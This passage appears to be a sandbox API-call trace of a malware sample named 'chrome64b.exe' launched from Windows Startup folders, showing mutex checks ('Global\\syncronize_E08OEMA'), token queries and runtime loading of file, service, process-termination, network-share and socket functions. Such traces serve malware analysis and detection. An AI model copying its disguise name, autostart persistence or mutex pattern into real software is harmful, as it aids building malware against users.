0x5a4088 [0250.858] GetVersion () returned 0x1db10106 [0250.858] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x7) returned 0x593670 [0250.858] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5a0b90 [0250.858] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a0b90, Size=0x20) returned 0x5a40d8 [0250.858] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a40d8, Size=0x40) returned 0x5a4670 [0250.858] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5a48c0 [0250.858] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_E08OEMA") returned 0x84 [0250.858] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x593670 | out: hHeap=0x590000) returned 1 [0250.858] lstrlenW (lpString="Global\\syncronize_") returned 18 [0250.858] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4670 | out: hHeap=0x590000) returned 1 [0250.858] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x7) returned 0x593670 [0250.858] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5a0b90 [0250.858] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a0b90, Size=0x20) returned 0x5a40d8 [0250.858] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a40d8, Size=0x40) returned 0x5a4670 [0250.858] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5b48c8 [0250.858] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_E08OEMU") returned 0x88 [0250.858] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x593670 | out: hHeap=0x590000) returned 1 [0250.858] lstrlenW (lpString="Global\\syncronize_") returned 18 [0250.858] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4670 | out: hHeap=0x590000) returned 1 [0250.858] GetVersion () returned 0x1db10106 [0250.858] GetCurrentProcess () returned 0xffffffff [0250.858] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0250.858] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0250.858] CloseHandle (hObject=0x8c) returned 1 [0250.858] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0250.858] ExitProcess (uExitCode=0x0) Process: id = "10" image_name = "chrome64b.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe" page_root = "0xbe77000" os_pid = "0x590" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8e9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 81 os_tid = 0x594 [0251.511] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75030000 [0251.511] GetProcAddress (hModule=0x75030000, lpProcName="GetProcAddress") returned 0x75041222 [0251.511] GetProcAddress (hModule=0x75030000, lpProcName="GetModuleHandleW") returned 0x750434b0 [0251.511] GetProcAddress (hModule=0x75030000, lpProcName="FindNextFileW") returned 0x750454ee [0251.511] GetProcAddress (hModule=0x75030000, lpProcName="FindClose") returned 0x75044442 [0251.511] GetProcAddress (hModule=0x75030000, lpProcName="MoveFileW") returned 0x75059af0 [0251.511] GetProcAddress (hModule=0x75030000, lpProcName="GetFileSizeEx") returned 0x750459e2 [0251.511] GetProcAddress (hModule=0x75030000, lpProcName="GetModuleFileNameW") returned 0x75044950 [0251.511] GetProcAddress (hModule=0x75030000, lpProcName="GetFileAttributesW") returned 0x75041b18 [0251.511] GetProcAddress (hModule=0x75030000, lpProcName="ExitProcess") returned 0x75047a10 [0251.511] GetProcAddress (hModule=0x75030000, lpProcName="GetCommandLineW") returned 0x75045223 [0251.511] GetProcAddress (hModule=0x75030000, lpProcName="GetComputerNameW") returned 0x7504dd0e [0251.511] GetProcAddress (hModule=0x75030000, lpProcName="GetComputerNameA") returned 0x7505b6e0 [0251.511] GetProcAddress (hModule=0x75030000, lpProcName="CreateMutexW") returned 0x7504424c [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="lstrlenW") returned 0x75041700 [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="lstrlenA") returned 0x75045a4b [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="GetCurrentProcess") returned 0x75041809 [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="WaitForSingleObject") returned 0x75041136 [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="GetLogicalDrives") returned 0x75045371 [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="GetTickCount") returned 0x7504110c [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="DeleteFileW") returned 0x750489b3 [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="WideCharToMultiByte") returned 0x7504170d [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75041916 [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="Sleep") returned 0x750410ff [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="LeaveCriticalSection") returned 0x77122270 [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="ReadFile") returned 0x75043ed3 [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="CreateFileW") returned 0x75043f5c [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="OpenMutexW") returned 0x75045151 [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="EnterCriticalSection") returned 0x771222b0 [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="WaitForMultipleObjects") returned 0x75044220 [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="lstrcmpiW") returned 0x7505d5cd [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="lstrcmpiA") returned 0x75043e8e [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="DeleteCriticalSection") returned 0x771345f5 [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="ReleaseMutex") returned 0x7504111e [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="CloseHandle") returned 0x75041410 [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="GetVersion") returned 0x75044467 [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="CreateThread") returned 0x750434d5 [0251.512] GetProcAddress (hModule=0x75030000, lpProcName="ExpandEnvironmentStringsW") returned 0x75044173 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="QueryPerformanceCounter") returned 0x75041725 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="QueryPerformanceFrequency") returned 0x750441f0 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="GetCurrentProcessId") returned 0x750411f8 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="SetFileAttributesW") returned 0x7505d4f7 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="GetVolumeInformationW") returned 0x7505c860 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="WriteFile") returned 0x75041282 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="SetFilePointerEx") returned 0x7505c807 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="SetEndOfFile") returned 0x7505ce2e [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="FindFirstFileW") returned 0x75044435 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="GetProcessHeap") returned 0x750414e9 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="HeapReAlloc") returned 0x77141f6e [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="HeapAlloc") returned 0x7712e026 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="HeapFree") returned 0x750414c9 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="CreatePipe") returned 0x750c415b [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="SetHandleInformation") returned 0x7505195c [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="CreateProcessW") returned 0x7504103d [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="CompareStringW") returned 0x75043bca [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="CompareStringA") returned 0x75043c5a [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="OpenProcess") returned 0x75041986 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="TerminateProcess") returned 0x7505d802 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="GetSystemTime") returned 0x75045a96 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="SystemTimeToFileTime") returned 0x75045a7e [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="GetLastError") returned 0x750411c0 [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="CreateToolhelp32Snapshot") returned 0x7506735f [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="Process32NextW") returned 0x7506896c [0251.513] GetProcAddress (hModule=0x75030000, lpProcName="Process32FirstW") returned 0x75068baf [0251.514] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x768c0000 [0251.519] GetProcAddress (hModule=0x768c0000, lpProcName="RegOpenKeyExW") returned 0x768d468d [0251.520] GetProcAddress (hModule=0x768c0000, lpProcName="RegQueryValueExW") returned 0x768d46ad [0251.520] GetProcAddress (hModule=0x768c0000, lpProcName="RegSetValueExW") returned 0x768d14d6 [0251.520] GetProcAddress (hModule=0x768c0000, lpProcName="RegCloseKey") returned 0x768d469d [0251.520] GetProcAddress (hModule=0x768c0000, lpProcName="OpenProcessToken") returned 0x768d4304 [0251.520] GetProcAddress (hModule=0x768c0000, lpProcName="GetTokenInformation") returned 0x768d431c [0251.520] GetProcAddress (hModule=0x768c0000, lpProcName="OpenSCManagerW") returned 0x768cca64 [0251.520] GetProcAddress (hModule=0x768c0000, lpProcName="OpenServiceW") returned 0x768cca4c [0251.520] GetProcAddress (hModule=0x768c0000, lpProcName="CloseServiceHandle") returned 0x768d369c [0251.520] GetProcAddress (hModule=0x768c0000, lpProcName="ControlService") returned 0x768e7144 [0251.520] GetProcAddress (hModule=0x768c0000, lpProcName="QueryServiceStatus") returned 0x768d2a86 [0251.520] GetProcAddress (hModule=0x768c0000, lpProcName="EnumDependentServicesW") returned 0x768c1e3a [0251.520] GetProcAddress (hModule=0x768c0000, lpProcName="EnumServicesStatusExW") returned 0x768cb466 [0251.520] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76600000 [0251.527] GetProcAddress (hModule=0x76600000, lpProcName="SystemParametersInfoW") returned 0x766190d3 [0251.527] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75810000 [0251.529] GetProcAddress (hModule=0x75810000, lpProcName="ShellExecuteExW") returned 0x75831e46 [0251.529] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77100000 [0251.529] GetProcAddress (hModule=0x77100000, lpProcName="NtQuerySystemInformation") returned 0x7711fda0 [0251.529] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73650000 [0251.530] GetProcAddress (hModule=0x73650000, lpProcName="WNetCloseEnum") returned 0x73652dd6 [0251.530] GetProcAddress (hModule=0x73650000, lpProcName="WNetOpenEnumW") returned 0x73652f06 [0251.530] GetProcAddress (hModule=0x73650000, lpProcName="WNetEnumResourceW") returned 0x73653058 [0251.530] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x74e60000 [0251.531] GetProcAddress (hModule=0x74e60000, lpProcName="WSAStartup") returned 0x74e63ab2 [0251.531] GetProcAddress (hModule=0x74e60000, lpProcName="socket") returned 0x74e63eb8 [0251.531] GetProcAddress (hModule=0x74e60000, lpProcName="send") returned 0x74e66f01 [0251.531] GetProcAddress (hModule=0x74e60000, lpProcName="recv") returned 0x74e66b0e [0251.531] GetProcAddress (hModule=0x74e60000, lpProcName="connect") returned 0x74e66bdd [0251.531] GetProcAddress (hModule=0x74e60000, lpProcName="closesocket") returned 0x74e63918 [0251.531] GetProcAddress (hModule=0x74e60000, lpProcName="gethostbyname") returned 0x74e77673 [0251.531] GetProcAddress (hModule=0x74e60000, lpProcName="inet_addr") returned 0x74e6311b [0251.531] GetProcAddress (hModule=0x74e60000, lpProcName="ntohl") returned 0x74e62d57 [0251.532] GetProcAddress (hModule=0x74e60000, lpProcName="htonl") returned 0x74e62d57 [0251.532] GetProcAddress (hModule=0x74e60000, lpProcName="htons") returned 0x74e62d8b [0251.532] GetProcessHeap () returned 0x600000 [0251.532] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x20) returned 0x614220 [0251.532] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=6556342359) returned 1 [0251.532] GetTickCount () returned 0x5762 [0251.532] GetCurrentProcessId () returned 0x590 [0251.532] GetTickCount () returned 0x5762 [0251.532] GetTickCount () returned 0x5762 [0251.532] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x20) returned 0x614248 [0251.532] GetVersion () returned 0x1db10106 [0251.532] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x7) returned 0x603830 [0251.532] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x10) returned 0x610d50 [0251.532] RtlReAllocateHeap (Heap=0x600000, Flags=0x0, Ptr=0x610d50, Size=0x20) returned 0x614298 [0251.532] RtlReAllocateHeap (Heap=0x600000, Flags=0x0, Ptr=0x614298, Size=0x40) returned 0x614830 [0251.532] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0xfffe) returned 0x614aa8 [0251.532] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_E08OEMA") returned 0x84 [0251.532] HeapFree (in: hHeap=0x600000, dwFlags=0x0, lpMem=0x603830 | out: hHeap=0x600000) returned 1 [0251.532] lstrlenW (lpString="Global\\syncronize_") returned 18 [0251.532] HeapFree (in: hHeap=0x600000, dwFlags=0x0, lpMem=0x614830 | out: hHeap=0x600000) returned 1 [0251.532] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x7) returned 0x603830 [0251.532] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x10) returned 0x610d50 [0251.532] RtlReAllocateHeap (Heap=0x600000, Flags=0x0, Ptr=0x610d50, Size=0x20) returned 0x614298 [0251.533] RtlReAllocateHeap (Heap=0x600000, Flags=0x0, Ptr=0x614298, Size=0x40) returned 0x614830 [0251.533] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0xfffe) returned 0x624ab0 [0251.533] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_E08OEMU") returned 0x88 [0251.533] HeapFree (in: hHeap=0x600000, dwFlags=0x0, lpMem=0x603830 | out: hHeap=0x600000) returned 1 [0251.533] lstrlenW (lpString="Global\\syncronize_") returned 18 [0251.533] HeapFree (in: hHeap=0x600000, dwFlags=0x0, lpMem=0x614830 | out: hHeap=0x600000) returned 1 [0251.533] GetVersion () returned 0x1db10106 [0251.533] GetCurrentProcess () returned 0xffffffff [0251.533] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0251.533] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0251.533] CloseHandle (hObject=0x8c) returned 1 [0251.533] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0251.533] ExitProcess (uExitCode=0x0) Process: id = "11" image_name = "chrome64b.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe" page_root = "0xcb99000" os_pid = "0x598" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8e9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 82 os_tid = 0x59c [0250.393] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75030000 [0250.394] GetProcAddress (hModule=0x75030000, lpProcName="GetProcAddress") returned 0x75041222 [0250.394] GetProcAddress (hModule=0x75030000, lpProcName="GetModuleHandleW") returned 0x750434b0 [0250.394] GetProcAddress (hModule=0x75030000, lpProcName="FindNextFileW") returned 0x750454ee [0250.394] GetProcAddress (hModule=0x75030000, lpProcName="FindClose") returned 0x75044442 [0250.394] GetProcAddress (hModule=0x75030000, lpProcName="MoveFileW") returned 0x75059af0 [0250.394] GetProcAddress (hModule=0x75030000, lpProcName="GetFileSizeEx") returned 0x750459e2 [0250.394] GetProcAddress (hModule=0x75030000, lpProcName="GetModuleFileNameW") returned 0x75044950 [0250.394] GetProcAddress (hModule=0x75030000, lpProcName="GetFileAttributesW") returned 0x75041b18 [0250.394] GetProcAddress (hModule=0x75030000, lpProcName="ExitProcess") returned 0x75047a10 [0250.394] GetProcAddress (hModule=0x75030000, lpProcName="GetCommandLineW") returned 0x75045223 [0250.394] GetProcAddress (hModule=0x75030000, lpProcName="GetComputerNameW") returned 0x7504dd0e [0250.394] GetProcAddress (hModule=0x75030000, lpProcName="GetComputerNameA") returned 0x7505b6e0 [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="CreateMutexW") returned 0x7504424c [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="lstrlenW") returned 0x75041700 [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="lstrlenA") returned 0x75045a4b [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="GetCurrentProcess") returned 0x75041809 [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="WaitForSingleObject") returned 0x75041136 [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="GetLogicalDrives") returned 0x75045371 [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="GetTickCount") returned 0x7504110c [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="DeleteFileW") returned 0x750489b3 [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="WideCharToMultiByte") returned 0x7504170d [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75041916 [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="Sleep") returned 0x750410ff [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="LeaveCriticalSection") returned 0x77122270 [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="ReadFile") returned 0x75043ed3 [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="CreateFileW") returned 0x75043f5c [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="OpenMutexW") returned 0x75045151 [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="EnterCriticalSection") returned 0x771222b0 [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="WaitForMultipleObjects") returned 0x75044220 [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="lstrcmpiW") returned 0x7505d5cd [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="lstrcmpiA") returned 0x75043e8e [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="DeleteCriticalSection") returned 0x771345f5 [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="ReleaseMutex") returned 0x7504111e [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="CloseHandle") returned 0x75041410 [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="GetVersion") returned 0x75044467 [0250.395] GetProcAddress (hModule=0x75030000, lpProcName="CreateThread") returned 0x750434d5 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="ExpandEnvironmentStringsW") returned 0x75044173 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="QueryPerformanceCounter") returned 0x75041725 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="QueryPerformanceFrequency") returned 0x750441f0 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="GetCurrentProcessId") returned 0x750411f8 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="SetFileAttributesW") returned 0x7505d4f7 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="GetVolumeInformationW") returned 0x7505c860 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="WriteFile") returned 0x75041282 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="SetFilePointerEx") returned 0x7505c807 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="SetEndOfFile") returned 0x7505ce2e [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="FindFirstFileW") returned 0x75044435 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="GetProcessHeap") returned 0x750414e9 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="HeapReAlloc") returned 0x77141f6e [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="HeapAlloc") returned 0x7712e026 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="HeapFree") returned 0x750414c9 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="CreatePipe") returned 0x750c415b [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="SetHandleInformation") returned 0x7505195c [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="CreateProcessW") returned 0x7504103d [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="CompareStringW") returned 0x75043bca [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="CompareStringA") returned 0x75043c5a [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="OpenProcess") returned 0x75041986 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="TerminateProcess") returned 0x7505d802 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="GetSystemTime") returned 0x75045a96 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="SystemTimeToFileTime") returned 0x75045a7e [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="GetLastError") returned 0x750411c0 [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="CreateToolhelp32Snapshot") returned 0x7506735f [0250.396] GetProcAddress (hModule=0x75030000, lpProcName="Process32NextW") returned 0x7506896c [0250.397] GetProcAddress (hModule=0x75030000, lpProcName="Process32FirstW") returned 0x75068baf [0250.397] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x768c0000 [0250.514] GetProcAddress (hModule=0x768c0000, lpProcName="RegOpenKeyExW") returned 0x768d468d [0250.514] GetProcAddress (hModule=0x768c0000, lpProcName="RegQueryValueExW") returned 0x768d46ad [0250.514] GetProcAddress (hModule=0x768c0000, lpProcName="RegSetValueExW") returned 0x768d14d6 [0250.514] GetProcAddress (hModule=0x768c0000, lpProcName="RegCloseKey") returned 0x768d469d [0250.514] GetProcAddress (hModule=0x768c0000, lpProcName="OpenProcessToken") returned 0x768d4304 [0250.514] GetProcAddress (hModule=0x768c0000, lpProcName="GetTokenInformation") returned 0x768d431c [0250.514] GetProcAddress (hModule=0x768c0000, lpProcName="OpenSCManagerW") returned 0x768cca64 [0250.514] GetProcAddress (hModule=0x768c0000, lpProcName="OpenServiceW") returned 0x768cca4c [0250.514] GetProcAddress (hModule=0x768c0000, lpProcName="CloseServiceHandle") returned 0x768d369c [0250.515] GetProcAddress (hModule=0x768c0000, lpProcName="ControlService") returned 0x768e7144 [0250.515] GetProcAddress (hModule=0x768c0000, lpProcName="QueryServiceStatus") returned 0x768d2a86 [0250.515] GetProcAddress (hModule=0x768c0000, lpProcName="EnumDependentServicesW") returned 0x768c1e3a [0250.515] GetProcAddress (hModule=0x768c0000, lpProcName="EnumServicesStatusExW") returned 0x768cb466 [0250.515] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76600000 [0250.641] GetProcAddress (hModule=0x76600000, lpProcName="SystemParametersInfoW") returned 0x766190d3 [0250.641] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75810000 [0250.704] GetProcAddress (hModule=0x75810000, lpProcName="ShellExecuteExW") returned 0x75831e46 [0250.709] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77100000 [0250.709] GetProcAddress (hModule=0x77100000, lpProcName="NtQuerySystemInformation") returned 0x7711fda0 [0250.709] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73650000 [0250.716] GetProcAddress (hModule=0x73650000, lpProcName="WNetCloseEnum") returned 0x73652dd6 [0250.716] GetProcAddress (hModule=0x73650000, lpProcName="WNetOpenEnumW") returned 0x73652f06 [0250.716] GetProcAddress (hModule=0x73650000, lpProcName="WNetEnumResourceW") returned 0x73653058 [0250.716] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x74e60000 [0250.741] GetProcAddress (hModule=0x74e60000, lpProcName="WSAStartup") returned 0x74e63ab2 [0250.741] GetProcAddress (hModule=0x74e60000, lpProcName="socket") returned 0x74e63eb8 [0250.741] GetProcAddress (hModule=0x74e60000, lpProcName="send") returned 0x74e66f01 [0250.741] GetProcAddress (hModule=0x74e60000, lpProcName="recv") returned 0x74e66b0e [0250.741] GetProcAddress (hModule=0x74e60000, lpProcName="connect") returned 0x74e66bdd [0250.741] GetProcAddress (hModule=0x74e60000, lpProcName="closesocket") returned 0x74e63918 [0250.741] GetProcAddress (hModule=0x74e60000, lpProcName="gethostbyname") returned 0x74e77673 [0250.741] GetProcAddress (hModule=0x74e60000, lpProcName="inet_addr") returned 0x74e6311b [0250.741] GetProcAddress (hModule=0x74e60000, lpProcName="ntohl") returned 0x74e62d57 [0250.741] GetProcAddress (hModule=0x74e60000, lpProcName="htonl") returned 0x74e62d57 [0250.742] GetProcAddress (hModule=0x74e60000, lpProcName="htons") returned 0x74e62d8b [0250.742] GetProcessHeap () returned 0x540000 [0250.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x554378 [0250.742] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=6477336729) returned 1 [0250.742] GetTickCount () returned 0x5446 [0250.742] GetCurrentProcessId () returned 0x598 [0250.742] GetTickCount () returned 0x5446 [0250.742] GetTickCount () returned 0x5446 [0250.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5543a0 [0250.742] GetVersion () returned 0x1db10106 [0250.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x7) returned 0x543988 [0250.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x550ea8 [0250.742] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x550ea8, Size=0x20) returned 0x5543f0 [0250.742] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5543f0, Size=0x40) returned 0x554988 [0250.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x554c38 [0250.742] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_E08OEMA") returned 0x0 [0250.742] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_E08OEMA") returned 0x84 [0250.742] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x543988 | out: hHeap=0x540000) returned 1 [0250.742] lstrlenW (lpString="Global\\syncronize_") returned 18 [0250.742] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x554988 | out: hHeap=0x540000) returned 1 [0250.742] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x7) returned 0x543988 [0250.743] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x550ea8 [0250.743] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x550ea8, Size=0x20) returned 0x5543f0 [0250.774] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5543f0, Size=0x40) returned 0x554988 [0250.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x564c40 [0250.774] OpenMutexW (dwDesiredAccess=0x100000, 